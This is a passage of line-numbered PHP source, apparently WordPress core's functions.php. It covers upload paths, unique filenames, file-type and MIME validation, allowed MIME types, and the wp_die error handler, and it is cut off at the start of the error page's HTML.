2036function _wp_upload_dir( $time = null ) {
2037 $siteurl = get_option( 'siteurl' );
2038 $upload_path = trim( get_option( 'upload_path' ) );
2039
2040 if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
2041 $dir = WP_CONTENT_DIR . '/uploads';
2042 } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
2043 // $dir is absolute, $upload_path is (maybe) relative to ABSPATH
2044 $dir = path_join( ABSPATH, $upload_path );
2045 } else {
2046 $dir = $upload_path;
2047 }
2048
2049 if ( !$url = get_option( 'upload_url_path' ) ) {
2050 if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
2051 $url = WP_CONTENT_URL . '/uploads';
2052 else
2053 $url = trailingslashit( $siteurl ) . $upload_path;
2054 }
2055
2056 /*
2057 * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
2058 * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
2059 */
2060 if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
2061 $dir = ABSPATH . UPLOADS;
2062 $url = trailingslashit( $siteurl ) . UPLOADS;
2063 }
2064
2065 // If multisite (and if not the main site in a post-MU network)
2066 if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
2067
2068 if ( ! get_site_option( 'ms_files_rewriting' ) ) {
2069 /*
2070 * If ms-files rewriting is disabled (networks created post-3.5), it is fairly
2071 * straightforward: Append sites/%d if we're not on the main site (for post-MU
2072 * networks). (The extra directory prevents a four-digit ID from conflicting with
2073 * a year-based directory for the main site. But if a MU-era network has disabled
2074 * ms-files rewriting manually, they don't need the extra directory, as they never
2075 * had wp-content/uploads for the main site.)
2076 */
2077
2078 if ( defined( 'MULTISITE' ) )
2079 $ms_dir = '/sites/' . get_current_blog_id();
2080 else
2081 $ms_dir = '/' . get_current_blog_id();
2082
2083 $dir .= $ms_dir;
2084 $url .= $ms_dir;
2085
2086 } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
2087 /*
2088 * Handle the old-form ms-files.php rewriting if the network still has that enabled.
2089 * When ms-files rewriting is enabled, then we only listen to UPLOADS when:
2090 * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
2091 * there, and
2092 * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
2093 * the original blog ID.
2094 *
2095 * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
2096 * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
2097 * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
2098 * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
2099 */
2100
2101 if ( defined( 'BLOGUPLOADDIR' ) )
2102 $dir = untrailingslashit( BLOGUPLOADDIR );
2103 else
2104 $dir = ABSPATH . UPLOADS;
2105 $url = trailingslashit( $siteurl ) . 'files';
2106 }
2107 }
2108
2109 $basedir = $dir;
2110 $baseurl = $url;
2111
2112 $subdir = '';
2113 if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
2114 // Generate the yearly and monthly dirs
2115 if ( !$time )
2116 $time = current_time( 'mysql' );
2117 $y = substr( $time, 0, 4 );
2118 $m = substr( $time, 5, 2 );
2119 $subdir = "/$y/$m";
2120 }
2121
2122 $dir .= $subdir;
2123 $url .= $subdir;
2124
2125 return array(
2126 'path' => $dir,
2127 'url' => $url,
2128 'subdir' => $subdir,
2129 'basedir' => $basedir,
2130 'baseurl' => $baseurl,
2131 'error' => false,
2132 );
2133}
2134
2135/**
2136 * Get a filename that is sanitized and unique for the given directory.
2137 *
2138 * If the filename is not unique, then a number will be added to the filename
2139 * before the extension, and will continue adding numbers until the filename is
2140 * unique.
2141 *
2142 * The callback is passed three parameters, the first one is the directory, the
2143 * second is the filename, and the third is the extension.
2144 *
2145 * @since 2.5.0
2146 *
2147 * @param string $dir Directory.
2148 * @param string $filename File name.
2149 * @param callable $unique_filename_callback Callback. Default null.
2150 * @return string New filename, if given wasn't unique.
2151 */
2152function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
2153 // Sanitize the file name before we begin processing.
2154 $filename = sanitize_file_name($filename);
2155
2156 // Separate the filename into a name and extension.
2157 $ext = pathinfo( $filename, PATHINFO_EXTENSION );
2158 $name = pathinfo( $filename, PATHINFO_BASENAME );
2159 if ( $ext ) {
2160 $ext = '.' . $ext;
2161 }
2162
2163 // Edge case: if file is named '.ext', treat as an empty name.
2164 if ( $name === $ext ) {
2165 $name = '';
2166 }
2167
2168 /*
2169 * Increment the file number until we have a unique file to save in $dir.
2170 * Use callback if supplied.
2171 */
2172 if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
2173 $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
2174 } else {
2175 $number = '';
2176
2177 // Change '.ext' to lower case.
2178 if ( $ext && strtolower($ext) != $ext ) {
2179 $ext2 = strtolower($ext);
2180 $filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
2181
2182 // Check for both lower and upper case extension or image sub-sizes may be overwritten.
2183 while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
2184 $new_number = (int) $number + 1;
2185 $filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
2186 $filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
2187 $number = $new_number;
2188 }
2189
2190 /**
2191 * Filters the result when generating a unique file name.
2192 *
2193 * @since 4.5.0
2194 *
2195 * @param string $filename Unique file name.
2196 * @param string $ext File extension, eg. ".png".
2197 * @param string $dir Directory path.
2198 * @param callable|null $unique_filename_callback Callback function that generates the unique file name.
2199 */
2200 return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
2201 }
2202
2203 while ( file_exists( $dir . "/$filename" ) ) {
2204 $new_number = (int) $number + 1;
2205 if ( '' == "$number$ext" ) {
2206 $filename = "$filename-" . $new_number;
2207 } else {
2208 $filename = str_replace( array( "-$number$ext", "$number$ext" ), "-" . $new_number . $ext, $filename );
2209 }
2210 $number = $new_number;
2211 }
2212 }
2213
2214 /** This filter is documented in wp-includes/functions.php */
2215 return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
2216}
2217
2218/**
2219 * Create a file in the upload folder with given content.
2220 *
2221 * If there is an error, then the key 'error' will exist with the error message.
2222 * If success, then the key 'file' will have the unique file path, the 'url' key
2223 * will have the link to the new file. and the 'error' key will be set to false.
2224 *
2225 * This function will not move an uploaded file to the upload folder. It will
2226 * create a new file with the content in $bits parameter. If you move the upload
2227 * file, read the content of the uploaded file, and then you can give the
2228 * filename and content to this function, which will add it to the upload
2229 * folder.
2230 *
2231 * The permissions will be set on the new file automatically by this function.
2232 *
2233 * @since 2.0.0
2234 *
2235 * @param string $name Filename.
2236 * @param null|string $deprecated Never used. Set to null.
2237 * @param mixed $bits File content
2238 * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
2239 * @return array
2240 */
2241function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
2242 if ( !empty( $deprecated ) )
2243 _deprecated_argument( __FUNCTION__, '2.0.0' );
2244
2245 if ( empty( $name ) )
2246 return array( 'error' => __( 'Empty filename' ) );
2247
2248 $wp_filetype = wp_check_filetype( $name );
2249 if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
2250 return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
2251
2252 $upload = wp_upload_dir( $time );
2253
2254 if ( $upload['error'] !== false )
2255 return $upload;
2256
2257 /**
2258 * Filters whether to treat the upload bits as an error.
2259 *
2260 * Passing a non-array to the filter will effectively short-circuit preparing
2261 * the upload bits, returning that value instead.
2262 *
2263 * @since 3.0.0
2264 *
2265 * @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
2266 */
2267 $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
2268 if ( !is_array( $upload_bits_error ) ) {
2269 $upload[ 'error' ] = $upload_bits_error;
2270 return $upload;
2271 }
2272
2273 $filename = wp_unique_filename( $upload['path'], $name );
2274
2275 $new_file = $upload['path'] . "/$filename";
2276 if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
2277 if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
2278 $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
2279 else
2280 $error_path = basename( $upload['basedir'] ) . $upload['subdir'];
2281
2282 $message = sprintf(
2283 /* translators: %s: directory path */
2284 __( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
2285 $error_path
2286 );
2287 return array( 'error' => $message );
2288 }
2289
2290 $ifp = @ fopen( $new_file, 'wb' );
2291 if ( ! $ifp )
2292 return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
2293
2294 @fwrite( $ifp, $bits );
2295 fclose( $ifp );
2296 clearstatcache();
2297
2298 // Set correct file permissions
2299 $stat = @ stat( dirname( $new_file ) );
2300 $perms = $stat['mode'] & 0007777;
2301 $perms = $perms & 0000666;
2302 @ chmod( $new_file, $perms );
2303 clearstatcache();
2304
2305 // Compute the URL
2306 $url = $upload['url'] . "/$filename";
2307
2308 /** This filter is documented in wp-admin/includes/file.php */
2309 return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false ), 'sideload' );
2310}
2311
2312/**
2313 * Retrieve the file type based on the extension name.
2314 *
2315 * @since 2.5.0
2316 *
2317 * @param string $ext The extension to search.
2318 * @return string|void The file type, example: audio, video, document, spreadsheet, etc.
2319 */
2320function wp_ext2type( $ext ) {
2321 $ext = strtolower( $ext );
2322
2323 $ext2type = wp_get_ext_types();
2324 foreach ( $ext2type as $type => $exts )
2325 if ( in_array( $ext, $exts ) )
2326 return $type;
2327}
2328
2329/**
2330 * Retrieve the file type from the file name.
2331 *
2332 * You can optionally define the mime array, if needed.
2333 *
2334 * @since 2.0.4
2335 *
2336 * @param string $filename File name or path.
2337 * @param array $mimes Optional. Key is the file extension with value as the mime type.
2338 * @return array Values with extension first and mime type.
2339 */
2340function wp_check_filetype( $filename, $mimes = null ) {
2341 if ( empty($mimes) )
2342 $mimes = get_allowed_mime_types();
2343 $type = false;
2344 $ext = false;
2345
2346 foreach ( $mimes as $ext_preg => $mime_match ) {
2347 $ext_preg = '!\.(' . $ext_preg . ')$!i';
2348 if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
2349 $type = $mime_match;
2350 $ext = $ext_matches[1];
2351 break;
2352 }
2353 }
2354
2355 return compact( 'ext', 'type' );
2356}
2357
2358/**
2359 * Attempt to determine the real file type of a file.
2360 *
2361 * If unable to, the file name extension will be used to determine type.
2362 *
2363 * If it's determined that the extension does not match the file's real type,
2364 * then the "proper_filename" value will be set with a proper filename and extension.
2365 *
2366 * Currently this function only supports renaming images validated via wp_get_image_mime().
2367 *
2368 * @since 3.0.0
2369 *
2370 * @param string $file Full path to the file.
2371 * @param string $filename The name of the file (may differ from $file due to $file being
2372 * in a tmp directory).
2373 * @param array $mimes Optional. Key is the file extension with value as the mime type.
2374 * @return array Values for the extension, MIME, and either a corrected filename or false
2375 * if original $filename is valid.
2376 */
2377function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
2378 $proper_filename = false;
2379
2380 // Do basic extension validation and MIME mapping
2381 $wp_filetype = wp_check_filetype( $filename, $mimes );
2382 $ext = $wp_filetype['ext'];
2383 $type = $wp_filetype['type'];
2384
2385 // We can't do any further validation without a file to work with
2386 if ( ! file_exists( $file ) ) {
2387 return compact( 'ext', 'type', 'proper_filename' );
2388 }
2389
2390 $real_mime = false;
2391
2392 // Validate image types.
2393 if ( $type && 0 === strpos( $type, 'image/' ) ) {
2394
2395 // Attempt to figure out what type of image it actually is
2396 $real_mime = wp_get_image_mime( $file );
2397
2398 if ( $real_mime && $real_mime != $type ) {
2399 /**
2400 * Filters the list mapping image mime types to their respective extensions.
2401 *
2402 * @since 3.0.0
2403 *
2404 * @param array $mime_to_ext Array of image mime types and their matching extensions.
2405 */
2406 $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
2407 'image/jpeg' => 'jpg',
2408 'image/png' => 'png',
2409 'image/gif' => 'gif',
2410 'image/bmp' => 'bmp',
2411 'image/tiff' => 'tif',
2412 ) );
2413
2414 // Replace whatever is after the last period in the filename with the correct extension
2415 if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
2416 $filename_parts = explode( '.', $filename );
2417 array_pop( $filename_parts );
2418 $filename_parts[] = $mime_to_ext[ $real_mime ];
2419 $new_filename = implode( '.', $filename_parts );
2420
2421 if ( $new_filename != $filename ) {
2422 $proper_filename = $new_filename; // Mark that it changed
2423 }
2424 // Redefine the extension / MIME
2425 $wp_filetype = wp_check_filetype( $new_filename, $mimes );
2426 $ext = $wp_filetype['ext'];
2427 $type = $wp_filetype['type'];
2428 } else {
2429 // Reset $real_mime and try validating again.
2430 $real_mime = false;
2431 }
2432 }
2433 }
2434
2435 // Validate files that didn't get validated during previous checks.
2436 if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
2437 $finfo = finfo_open( FILEINFO_MIME_TYPE );
2438 $real_mime = finfo_file( $finfo, $file );
2439 finfo_close( $finfo );
2440
2441 /*
2442 * If $real_mime doesn't match what we're expecting, we need to do some extra
2443 * vetting of application mime types to make sure this type of file is allowed.
2444 * Other mime types are assumed to be safe, but should be considered unverified.
2445 */
2446 if ( $real_mime && ( $real_mime !== $type ) && ( 0 === strpos( $real_mime, 'application' ) ) ) {
2447 $allowed = get_allowed_mime_types();
2448
2449 if ( ! in_array( $real_mime, $allowed ) ) {
2450 $type = $ext = false;
2451 }
2452 }
2453 }
2454
2455 /**
2456 * Filters the "real" file type of the given file.
2457 *
2458 * @since 3.0.0
2459 *
2460 * @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
2461 * 'proper_filename' keys.
2462 * @param string $file Full path to the file.
2463 * @param string $filename The name of the file (may differ from $file due to
2464 * $file being in a tmp directory).
2465 * @param array $mimes Key is the file extension with value as the mime type.
2466 */
2467 return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
2468}
2469
2470/**
2471 * Returns the real mime type of an image file.
2472 *
2473 * This depends on exif_imagetype() or getimagesize() to determine real mime types.
2474 *
2475 * @since 4.7.1
2476 *
2477 * @param string $file Full path to the file.
2478 * @return string|false The actual mime type or false if the type cannot be determined.
2479 */
2480function wp_get_image_mime( $file ) {
2481 /*
2482 * Use exif_imagetype() to check the mimetype if available or fall back to
2483 * getimagesize() if exif isn't avaialbe. If either function throws an Exception
2484 * we assume the file could not be validated.
2485 */
2486 try {
2487 if ( is_callable( 'exif_imagetype' ) ) {
2488 $imagetype = exif_imagetype( $file );
2489 $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
2490 } elseif ( function_exists( 'getimagesize' ) ) {
2491 $imagesize = getimagesize( $file );
2492 $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
2493 } else {
2494 $mime = false;
2495 }
2496 } catch ( Exception $e ) {
2497 $mime = false;
2498 }
2499
2500 return $mime;
2501}
2502
2503/**
2504 * Retrieve list of mime types and file extensions.
2505 *
2506 * @since 3.5.0
2507 * @since 4.2.0 Support was added for GIMP (xcf) files.
2508 *
2509 * @return array Array of mime types keyed by the file extension regex corresponding to those types.
2510 */
2511function wp_get_mime_types() {
2512 /**
2513 * Filters the list of mime types and file extensions.
2514 *
2515 * This filter should be used to add, not remove, mime types. To remove
2516 * mime types, use the {@see 'upload_mimes'} filter.
2517 *
2518 * @since 3.5.0
2519 *
2520 * @param array $wp_get_mime_types Mime types keyed by the file extension regex
2521 * corresponding to those types.
2522 */
2523 return apply_filters( 'mime_types', array(
2524 // Image formats.
2525 'jpg|jpeg|jpe' => 'image/jpeg',
2526 'gif' => 'image/gif',
2527 'png' => 'image/png',
2528 'bmp' => 'image/bmp',
2529 'tiff|tif' => 'image/tiff',
2530 'ico' => 'image/x-icon',
2531 // Video formats.
2532 'asf|asx' => 'video/x-ms-asf',
2533 'wmv' => 'video/x-ms-wmv',
2534 'wmx' => 'video/x-ms-wmx',
2535 'wm' => 'video/x-ms-wm',
2536 'avi' => 'video/avi',
2537 'divx' => 'video/divx',
2538 'flv' => 'video/x-flv',
2539 'mov|qt' => 'video/quicktime',
2540 'mpeg|mpg|mpe' => 'video/mpeg',
2541 'mp4|m4v' => 'video/mp4',
2542 'ogv' => 'video/ogg',
2543 'webm' => 'video/webm',
2544 'mkv' => 'video/x-matroska',
2545 '3gp|3gpp' => 'video/3gpp', // Can also be audio
2546 '3g2|3gp2' => 'video/3gpp2', // Can also be audio
2547 // Text formats.
2548 'txt|asc|c|cc|h|srt' => 'text/plain',
2549 'csv' => 'text/csv',
2550 'tsv' => 'text/tab-separated-values',
2551 'ics' => 'text/calendar',
2552 'rtx' => 'text/richtext',
2553 'css' => 'text/css',
2554 'htm|html' => 'text/html',
2555 'vtt' => 'text/vtt',
2556 'dfxp' => 'application/ttaf+xml',
2557 // Audio formats.
2558 'mp3|m4a|m4b' => 'audio/mpeg',
2559 'aac' => 'audio/aac',
2560 'ra|ram' => 'audio/x-realaudio',
2561 'wav' => 'audio/wav',
2562 'ogg|oga' => 'audio/ogg',
2563 'flac' => 'audio/flac',
2564 'mid|midi' => 'audio/midi',
2565 'wma' => 'audio/x-ms-wma',
2566 'wax' => 'audio/x-ms-wax',
2567 'mka' => 'audio/x-matroska',
2568 // Misc application formats.
2569 'rtf' => 'application/rtf',
2570 'js' => 'application/javascript',
2571 'pdf' => 'application/pdf',
2572 'swf' => 'application/x-shockwave-flash',
2573 'class' => 'application/java',
2574 'tar' => 'application/x-tar',
2575 'zip' => 'application/zip',
2576 'gz|gzip' => 'application/x-gzip',
2577 'rar' => 'application/rar',
2578 '7z' => 'application/x-7z-compressed',
2579 'exe' => 'application/x-msdownload',
2580 'psd' => 'application/octet-stream',
2581 'xcf' => 'application/octet-stream',
2582 // MS Office formats.
2583 'doc' => 'application/msword',
2584 'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
2585 'wri' => 'application/vnd.ms-write',
2586 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
2587 'mdb' => 'application/vnd.ms-access',
2588 'mpp' => 'application/vnd.ms-project',
2589 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
2590 'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
2591 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
2592 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
2593 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
2594 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
2595 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
2596 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
2597 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
2598 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
2599 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
2600 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
2601 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
2602 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
2603 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
2604 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
2605 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
2606 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
2607 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
2608 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
2609 'oxps' => 'application/oxps',
2610 'xps' => 'application/vnd.ms-xpsdocument',
2611 // OpenOffice formats.
2612 'odt' => 'application/vnd.oasis.opendocument.text',
2613 'odp' => 'application/vnd.oasis.opendocument.presentation',
2614 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
2615 'odg' => 'application/vnd.oasis.opendocument.graphics',
2616 'odc' => 'application/vnd.oasis.opendocument.chart',
2617 'odb' => 'application/vnd.oasis.opendocument.database',
2618 'odf' => 'application/vnd.oasis.opendocument.formula',
2619 // WordPerfect formats.
2620 'wp|wpd' => 'application/wordperfect',
2621 // iWork formats.
2622 'key' => 'application/vnd.apple.keynote',
2623 'numbers' => 'application/vnd.apple.numbers',
2624 'pages' => 'application/vnd.apple.pages',
2625 ) );
2626}
2627
2628/**
2629 * Retrieves the list of common file extensions and their types.
2630 *
2631 * @since 4.6.0
2632 *
2633 * @return array Array of file extensions types keyed by the type of file.
2634 */
2635function wp_get_ext_types() {
2636
2637 /**
2638 * Filters file type based on the extension name.
2639 *
2640 * @since 2.5.0
2641 *
2642 * @see wp_ext2type()
2643 *
2644 * @param array $ext2type Multi-dimensional array with extensions for a default set
2645 * of file types.
2646 */
2647 return apply_filters( 'ext2type', array(
2648 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),
2649 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
2650 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
2651 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
2652 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
2653 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
2654 'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
2655 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
2656 'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
2657 ) );
2658}
2659
2660/**
2661 * Retrieve list of allowed mime types and file extensions.
2662 *
2663 * @since 2.8.6
2664 *
2665 * @param int|WP_User $user Optional. User to check. Defaults to current user.
2666 * @return array Array of mime types keyed by the file extension regex corresponding
2667 * to those types.
2668 */
2669function get_allowed_mime_types( $user = null ) {
2670 $t = wp_get_mime_types();
2671
2672 unset( $t['swf'], $t['exe'] );
2673 if ( function_exists( 'current_user_can' ) )
2674 $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
2675
2676 if ( empty( $unfiltered ) ) {
2677 unset( $t['htm|html'], $t['js'] );
2678 }
2679
2680 /**
2681 * Filters list of allowed mime types and file extensions.
2682 *
2683 * @since 2.0.0
2684 *
2685 * @param array $t Mime types keyed by the file extension regex corresponding to
2686 * those types. 'swf' and 'exe' removed from full list. 'htm|html' also
2687 * removed depending on '$user' capabilities.
2688 * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
2689 */
2690 return apply_filters( 'upload_mimes', $t, $user );
2691}
2692
2693/**
2694 * Display "Are You Sure" message to confirm the action being taken.
2695 *
2696 * If the action has the nonce explain message, then it will be displayed
2697 * along with the "Are you sure?" message.
2698 *
2699 * @since 2.0.4
2700 *
2701 * @param string $action The nonce action.
2702 */
2703function wp_nonce_ays( $action ) {
2704 if ( 'log-out' == $action ) {
2705 $html = sprintf(
2706 /* translators: %s: site name */
2707 __( 'You are attempting to log out of %s' ),
2708 get_bloginfo( 'name' )
2709 );
2710 $html .= '</p><p>';
2711 $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
2712 $html .= sprintf(
2713 /* translators: %s: logout URL */
2714 __( 'Do you really want to <a href="%s">log out</a>?' ),
2715 wp_logout_url( $redirect_to )
2716 );
2717 } else {
2718 $html = __( 'The link you followed has expired.' );
2719 if ( wp_get_referer() ) {
2720 $html .= '</p><p>';
2721 $html .= sprintf( '<a href="%s">%s</a>',
2722 esc_url( remove_query_arg( 'updated', wp_get_referer() ) ),
2723 __( 'Please try again.' )
2724 );
2725 }
2726 }
2727
2728 wp_die( $html, __( 'Something went wrong.' ), 403 );
2729}
2730
2731/**
2732 * Kill WordPress execution and display HTML message with error message.
2733 *
2734 * This function complements the `die()` PHP function. The difference is that
2735 * HTML will be displayed to the user. It is recommended to use this function
2736 * only when the execution should not continue any further. It is not recommended
2737 * to call this function very often, and try to handle as many errors as possible
2738 * silently or more gracefully.
2739 *
2740 * As a shorthand, the desired HTTP response code may be passed as an integer to
2741 * the `$title` parameter (the default title would apply) or the `$args` parameter.
2742 *
2743 * @since 2.0.4
2744 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
2745 * an integer to be used as the response code.
2746 *
2747 * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
2748 * and not an Ajax or XML-RPC request, the error's messages are used.
2749 * Default empty.
2750 * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
2751 * error data with the key 'title' may be used to specify the title.
2752 * If `$title` is an integer, then it is treated as the response
2753 * code. Default empty.
2754 * @param string|array|int $args {
2755 * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
2756 * as the response code. Default empty array.
2757 *
2758 * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
2759 * @type bool $back_link Whether to include a link to go back. Default false.
2760 * @type string $text_direction The text direction. This is only useful internally, when WordPress
2761 * is still loading and the site's locale is not set up yet. Accepts 'rtl'.
2762 * Default is the value of is_rtl().
2763 * }
2764 */
2765function wp_die( $message = '', $title = '', $args = array() ) {
2766
2767 if ( is_int( $args ) ) {
2768 $args = array( 'response' => $args );
2769 } elseif ( is_int( $title ) ) {
2770 $args = array( 'response' => $title );
2771 $title = '';
2772 }
2773
2774 if ( wp_doing_ajax() ) {
2775 /**
2776 * Filters the callback for killing WordPress execution for Ajax requests.
2777 *
2778 * @since 3.4.0
2779 *
2780 * @param callable $function Callback function name.
2781 */
2782 $function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
2783 } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
2784 /**
2785 * Filters the callback for killing WordPress execution for XML-RPC requests.
2786 *
2787 * @since 3.4.0
2788 *
2789 * @param callable $function Callback function name.
2790 */
2791 $function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
2792 } else {
2793 /**
2794 * Filters the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
2795 *
2796 * @since 3.0.0
2797 *
2798 * @param callable $function Callback function name.
2799 */
2800 $function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
2801 }
2802
2803 call_user_func( $function, $message, $title, $args );
2804}
2805
2806/**
2807 * Kills WordPress execution and display HTML message with error message.
2808 *
2809 * This is the default handler for wp_die if you want a custom one for your
2810 * site then you can overload using the {@see 'wp_die_handler'} filter in wp_die().
2811 *
2812 * @since 3.0.0
2813 * @access private
2814 *
2815 * @param string|WP_Error $message Error message or WP_Error object.
2816 * @param string $title Optional. Error title. Default empty.
2817 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
2818 */
2819function _default_wp_die_handler( $message, $title = '', $args = array() ) {
2820 $defaults = array( 'response' => 500 );
2821 $r = wp_parse_args($args, $defaults);
2822
2823 $have_gettext = function_exists('__');
2824
2825 if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
2826 if ( empty( $title ) ) {
2827 $error_data = $message->get_error_data();
2828 if ( is_array( $error_data ) && isset( $error_data['title'] ) )
2829 $title = $error_data['title'];
2830 }
2831 $errors = $message->get_error_messages();
2832 switch ( count( $errors ) ) {
2833 case 0 :
2834 $message = '';
2835 break;
2836 case 1 :
2837 $message = "<p>{$errors[0]}</p>";
2838 break;
2839 default :
2840 $message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
2841 break;
2842 }
2843 } elseif ( is_string( $message ) ) {
2844 $message = "<p>$message</p>";
2845 }
2846
2847 if ( isset( $r['back_link'] ) && $r['back_link'] ) {
2848 $back_text = $have_gettext? __('« Back') : '« Back';
2849 $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
2850 }
2851
2852 if ( ! did_action( 'admin_head' ) ) :
2853 if ( !headers_sent() ) {
2854 status_header( $r['response'] );
2855 nocache_headers();
2856 header( 'Content-Type: text/html; charset=utf-8' );
2857 }
2858
2859 if ( empty($title) )
2860 $title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';
2861
2862 $text_direction = 'ltr';
2863 if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
2864 $text_direction = 'rtl';
2865 elseif ( function_exists( 'is_rtl' ) && is_rtl() )
2866 $text_direction = 'rtl';
2867?>
2868<!DOCTYPE html>
2869<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
2870<head>
